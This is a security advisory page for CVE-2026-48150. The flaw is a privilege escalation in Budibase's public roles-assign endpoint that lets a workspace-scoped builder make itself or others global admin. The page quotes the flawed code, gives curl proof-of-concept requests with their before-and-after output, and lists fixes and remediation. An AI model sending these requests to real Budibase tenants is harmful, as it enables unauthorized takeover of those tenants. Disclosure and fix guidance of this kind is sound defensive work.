CVE-2026-48150: Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign

Published May 27, 2026
·
Updated

Summary

/api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDEDPUBLICAPI feature.

Details

Controller (packages/server/src/api/controllers/public/roles.ts:13-17):

typescript export async function assignAppBuilder(ctx: Ctx) { const { userIds, ...assignmentProps } = ctx.request.body await sdk.publicApi.roles.assign(userIds, assignmentProps) ctx.body = { data: { userIds } } }

Nothing filters assignmentProps. The request body's builder and admin keys flow directly into the SDK.

SDK (packages/pro/src/sdk/publicApi/roles.ts:17-47):

typescript export async function assign(userIds: string[], opts: AssignmentOpts) { if (!(await isExpandedPublicApiEnabled())) { throw new Error("Unable to assign roles - license required.") } const users = await userDB.bulkGet(userIds) for (let user of users) { // ... if (opts.builder) { user.builder = { global: true } } if (opts.admin) { user.admin = { global: true } } } await userDB.bulkUpdate(users) }

No check that the caller already holds the privilege they are granting. user.builder is overwritten unconditionally, which also strips any existing builder.apps scope from the target.

Route guard (packages/backend-core/src/middleware/builderOrAdmin.ts:6-20):

typescript export async function builderOrAdmin(ctx: UserCtx, next: any) { if (ctx.internal || isAdmin(ctx.user)) { return next() } const workspaceId = await getWorkspaceIdFromCtx(ctx) if (!workspaceId && !env.isWorker()) { ctx.throw(403, "This request required a workspace id.") } else if (!workspaceId && !hasBuilderPermissions(ctx.user)) { ctx.throw(403, "Admin/Builder user only endpoint.") } else if (workspaceId && !isBuilder(ctx.user, workspaceId)) { ctx.throw(403, "Workspace Admin/Builder user only endpoint.") } // passes }

isBuilder(user, workspaceId) returns true for any user whose builder.apps array contains the workspace id, even when builder.global is unset. The endpoint therefore trusts an app-level builder with a global-scope grant.

Proof of Concept

Tested on Budibase 3.35.8 (master at f960e361). The public API license gate at roles.ts:18 was disabled in the test bundle so the underlying privilege-escalation could be reproduced end-to-end; on a licensed Enterprise tenant the gate passes and the same requests land.

Step 1: the admin creates two users. Alice is a workspace-scoped builder on an app (builder.apps: [app...], builder.global unset, admin.global unset). Victim is a BASIC user.

Step 2: Alice calls GET /api/global/self/apikey to mint an API key tied to her identity:

bash curl -sS -b alice "$BASE/api/global/self/apikey" → {"apiKey":"80f28...","userId":"usdab...","createdAt":"..."}

Step 3: Alice calls /api/public/v1/roles/assign with the victim's id and builder: true. She scopes the request to her own app via x-budibase-app-id so builderOrAdmin passes:

bash curl -sS -X POST "$BASE/api/public/v1/roles/assign" \ -H "Content-Type: application/json" \ -H "x-budibase-api-key: $ALICEAPIKEY" \ -H "x-budibase-app-id: $APPID" \ -d '{"userIds":["us70b6...victim"],"builder":true}'

Admin verifies:

BEFORE: builder: {'global': False} admin: {'global': False} ATTACK: HTTP 200 {"data":{"userIds":["us70b6..."]}} AFTER: builder: {'global': True} admin: {'global': False}

Step 4: Alice follows up with "admin": true and can target her own id:

bash curl -sS -X POST "$BASE/api/public/v1/roles/assign" \ -H "Content-Type: application/json" \ -H "x-budibase-api-key: $ALICEAPIKEY" \ -H "x-budibase-app-id: $APPID" \ -d '{"userIds":["usdab...alice"],"admin":true}'

AFTER: builder: {'apps': ['app...']} admin: {'global': True}

Alice is now a global admin of the tenant. She kept builder.apps because the SDK only overwrites the keys it was asked to set; admin: true writes admin = { global: true } without touching builder.

Impact

Every workspace-scoped builder of any app in the tenant is one request away from global admin. Global admin grants unrestricted access to the tenant: every app in every workspace, every user, every datasource credential, every automation, every SCIM / OIDC / audit-log config. The mass-assignment also strips scoping from the target's existing role, so downgrading a legitimate global builder to an app-scoped builder fails: a later call reinstates global: true.

A tenant that shares app-building duties across teams (the common Enterprise pattern) cannot hold the per-app boundary with the current middleware. This matches GHSA-2g39-332f-68p9 (Critical Privilege Escalation & IDOR via Missing RBAC) in shape and impact.

Recommended Fix

Enforce the caller's privilege in the SDK, matching the grant they want to make:

typescript // packages/pro/src/sdk/publicApi/roles.ts:32-43 const caller = context.getIdentity() // or however the SDK resolves the caller if (opts.builder) { if (!caller?.builder?.global && !caller?.admin?.global) { throw new HTTPError("Only global builders or admins can grant global builder", 403) } user.builder = { global: true } } if (opts.admin) { if (!caller?.admin?.global) { throw new HTTPError("Only global admins can grant global admin", 403) } user.admin = { global: true } }

Alternative, equally valid: tighten builderOrAdmin so that endpoints which can set global-scope properties require isGlobalBuilder or isAdmin. That fixes this endpoint and any future endpoint that shares the middleware.

Whichever fix lands, also strip builder and admin from assignmentProps at the controller boundary (packages/server/src/api/controllers/public/roles.ts:14) unless the caller has admin.global=true. Defense-in-depth against a future SDK regression.

--- Found by aisafe.io

Other sources

Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDEDPUBLICAPI feature. This vulnerability is fixed in 3.39.0.

NVD

Affected Software

2 affected componentsFixes available
budibase Budibase<3.39.0
npm/@budibase/server<3.39.0
3.39.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@budibase/server to a version that resolves this vulnerability.

    Fixed in 3.39.0
  2. Configuration

    Before assigning global roles in SDK.assign, validate the caller identity: if opts.builder is set require caller.builder.global || caller.admin.global; if opts.admin is set require caller.admin.global. Return 403 / throw an HTTPError when the caller lacks the required global privilege. (Implement using context.getIdentity() or equivalent to resolve the caller.)

    SDK (packages/pro/src/sdk/publicApi/roles.ts) grant_global_role_authorization = require caller to hold the global privilege they are granting (global builder or global admin)
  3. Configuration

    At the controller boundary, remove builder and admin from ctx.request.body (assignmentProps) before calling sdk.publicApi.roles.assign, unless the caller is a global admin (admin.global === true). This prevents attackers from mass-assigning global flags via the request body.

    Controller (packages/server/src/api/controllers/public/roles.ts) assignmentProps_sanitization = strip builder/admin keys from assignmentProps unless caller.admin.global === true
  4. Configuration

    Tighten builderOrAdmin (or create a new middleware) so endpoints which can set global-scoped properties require the caller be a global builder or admin (e.g., use isGlobalBuilder(ctx.user) || isAdmin(ctx.user)). Apply this stricter requirement to /api/public/v1/roles/assign and any other endpoints that may grant tenant-wide privileges.

    Middleware (packages/backend-core/src/middleware/builderOrAdmin.ts) scope_requirement_for_global_changes = require global-scope privileges for endpoints that can set global role properties

Event History

May 27, 2026
CVE Published
via MITRE·04:58 PM
Data Sourced
via MITRE·04:58 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
Jun 12, 2026
Advisory Published
via GitHub·06:28 PM
Data Sourced
via GitHub·06:28 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-48150?

The severity of CVE-2026-48150 is rated critical with a score of 9.

2

How do I fix CVE-2026-48150?

To fix CVE-2026-48150, update Budibase to version 3.39.0 or later.

3

What type of vulnerability is CVE-2026-48150?

CVE-2026-48150 is a privilege escalation vulnerability within the Budibase platform.

4

Who is affected by CVE-2026-48150?

Users of Budibase versions prior to 3.39.0, particularly those using workspace-scoped builders, are affected.

5

What does CVE-2026-48150 allow an attacker to do?

CVE-2026-48150 allows a workspace-scoped builder to escalate their privileges to global admin through a specific API endpoint.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203